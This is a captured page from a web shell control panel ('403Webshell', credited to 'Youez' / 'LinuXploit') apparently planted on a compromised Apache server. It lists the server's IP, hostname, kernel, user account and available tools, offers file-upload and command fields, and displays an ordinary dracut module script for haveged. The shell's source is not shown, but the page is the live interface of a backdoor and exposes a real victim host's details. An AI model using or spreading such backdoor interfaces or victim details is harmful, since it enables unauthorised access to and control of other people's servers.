403Webshell
Server IP : 3.138.164.131  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux ns1.techtime.me 4.18.0-147.8.1.el8.lve.1.x86_64 #1 SMP Mon Jun 29 09:55:57 EDT 2020 x86_64
User : injazaat ( 1471)
PHP Version : 8.1.20
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/dracut/modules.d/98haveged/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/dracut/modules.d/98haveged/module-setup.sh
#!/bin/bash
# /usr/lib/dracut/modules.d/98haveged/module-setup.sh
# -*- mode: shell-script; indent-tabs-mode: nil; sh-basic-offset: 4; -*-
# ex: ts=8 sw=4 sts=4 et filetype=sh

# called by dracut
depends() {
    return 0
}

installkernel() {
    return 0
}

# called by dracut
install() {
    inst_multiple -o \
        /usr/sbin/haveged \
        $systemdsystemunitdir/haveged.service \
        $systemdsystemunitdir/haveged-switch-root.service
    mkdir -p "$initdir/$systemdsystemunitdir/sysinit.target.wants"
    mkdir -p "$initdir/$systemdsystemunitdir/initrd-switch-root.target.wants"
    mkdir -p "$initdir/$systemdsystemunitdir/systemd-journald.service.wants"
    ln_r "$systemdsystemunitdir/haveged.service" "$systemdsystemunitdir/systemd-journald.service.wants/haveged.service"
    ln_r "$systemdsystemunitdir/haveged-switch-root.service" "$systemdsystemunitdir/initrd-switch-root.target.wants/haveged-switch-root.service"
}

Youez - 2016 - github.com/yon3zu
LinuXploit